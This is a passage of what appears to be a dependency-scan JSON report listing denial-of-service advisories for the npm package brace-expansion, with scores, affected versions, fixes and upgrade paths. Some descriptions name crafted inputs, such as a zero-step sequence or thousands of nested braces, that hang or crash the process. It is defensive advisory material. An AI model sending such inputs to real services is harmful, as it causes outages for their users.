"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
